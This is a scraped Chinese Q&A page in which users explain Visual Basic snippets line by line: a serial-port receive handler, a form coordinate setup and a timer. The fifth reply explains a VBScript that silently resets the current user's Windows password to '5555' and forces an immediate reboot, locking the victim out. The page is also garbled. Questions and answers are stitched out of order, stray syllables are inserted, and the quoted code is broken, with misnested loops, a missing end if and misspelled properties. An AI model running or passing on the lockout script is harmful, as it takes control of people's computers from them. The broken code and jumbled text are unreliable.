1樓:堅牧
case comevreceive '...有接受事件發生delay子程式是延時用的,就是等一會,用在程式中就是讓系統等待一會,讓串列埠把資料傳送完全
起作用的句子是:
讀串列埠送來的串的後8位
前3位放在文字框中
mscomm1.inbuffercount = 0 '...清空輸入暫存器
ch<>"$"這個條件成立與否要除錯下,顯然$是交換資料時串的分隔符
2樓:匿名使用者
private sub delay() '私有 子** delay()
dim m as integer '建立 m 型別 整數型
dim i as integer '建立 i 型別 整數型
for i = 0 to 10000 '迴圈 i 0到10000 也就是10000+1 因為0也算一個數
for m = 0 to 500 ' 迴圈m 0到 500 也就是500+1
next i '依次迴圈i
next m ' 依次迴圈m
end sub '結束子**
private sub msccomm_oncomm() '私有 子** msccomm_oncomm()事件
dim ch as string '建立 ch 字元型
dim temp as byte '建立 temo 位元組型
dim n as integer '建立 n 整數型
dim distance as integer '建立distance 整數型
select case mscomm1.event '選擇 判斷 mscomm1的event屬性 狀態
case comevreceive '判斷= comevreceive
delay '執行
ch = mscomm1.input 'ch = mscomm1的input值
if ch <> "$" then mscomm1.inbuffercunt = 0
'判斷 ch 不等於 "$" mscomm1的inbuffercunt 屬性 = 0
else '判斷其他結果
ch = right(ch,8) ' ch = 右邊(ch內容,8位值) '右邊是一個函式
text1.text = left(ch,3) 'text1.text = 左邊(ch內容,3位值)'左邊是一個函式
mscomm1.inbuffercunt = 0 'mscomm1的inbuffercunt 屬性 = 0
end select '結束選擇
end sub'結束 子**
vb的問題,誰能幫我解釋一下這兩段**什麼意思嗎?
3樓:匿名使用者
option explicit '這個是規範所有變數都要定義才能用
private type mypoint '定義一個資料型別
mypoint,包括x,y
x as single
y as single
end type
private type rect '定義一個資料型別rect ,
left as long
top as long
right as long
bottom as long
end type
'下邊是api,作用是獲取hwnd窗體的位置
private declare sub getclientrect lib "user32.dll" (byval hwnd as long, byref lprect as rect)
const pi = 3.1415926 '定義常量 圓周率
中間是主程式
private sub form_load() '窗體載入
dim rt as rect '變數定義
getclientrect me.hwnd, rt '獲取自身的位置
dim wh as single
wh = (rt.right - rt.left) / (rt.bottom - rt.top) 』計算寬/高的比例
me.scale (-100 * wh, 100)-(100 * wh, -100) 『調整窗體的座標系統
end sub
誰幫我解釋下這段vb**大概什麼意思?
4樓:匿名使用者
這段**就是
抄每個控制元件的bai功能是什麼了,就比如:
private sub tmrsta_timer()stamain.panels("time").text = now()
end sub
這就du是個時間zhi控制元件,在底部選單的daotime欄顯示系統時間。
誰能幫我解釋一下這一段vb**都什麼意思。最好一句句解釋
5樓:匿名使用者
on error resume next '遇到錯誤繼續執行下一句**
dim fso,ws,file,shut,password '定義變數
password="5555" '變數賦值
set fso=wscript.createobject("scripting.filesystemobject") '建立物件
set ws=wscript.createobject("wscript.shell") '建立物件
fol=fso.getspecialfolder(1) '獲取system32資料夾路徑
file=fol & "\net.exe" '變數賦值檔案路徑
shut=fol & "\shutdown.exe" '變數賦值檔案路徑
ws.run file & " user %username% "+chr(34) & password & chr(34),0,true '執行net。exe修改系統登入密碼為 5555
ws.run shut & " /r /f /t 0",0 '執行shutdown.exe重啟電腦
VB解釋一下和輸出有何不同,VB解釋一下第一個和第二個輸出有何不同
迴圈是先做的內迴圈 i 1,j 1 a 1,1 1 1 3 1 1i 1,j 2 a 1,2 2 1 3 1 4i 1,j 3 a 1,1 3 1 3 1 7j到3之後,列印一個print回車,然後是 i 2,j 1 a 1,1 1 1 3 2 2i 2,j 2 a 1,2 2 1 3 2 5i 2...
誰幫我解釋一下草書的意思,哪位大神幫我解讀一下這幾個字是什麼意思!?
草書,是為書寫便捷而產生的一種書體。說文解字 中說 漢興有草書 草書始於漢初,其特點是 存字之梗概,損隸之規矩,縱任奔逸,赴速急就,因草創之意,謂之草書。廣義的草書 是指不規範的草書,它包括兩種情況 一是,在文字不統一的遠古時代,自然不會有統一規範的草書,那時出現的潦草的字,就屬於廣義的草書 二是在...
哪位大神能給我解釋一下這個技能怎麼看
character liuxie,名字 named character是否在派系族譜裡 male,性別 leader,首領 age 16年齡,x 204,y 221,起始座標 portrait liuxie,武將頭像 battle model huangdi 將軍所用的模型 traits huang...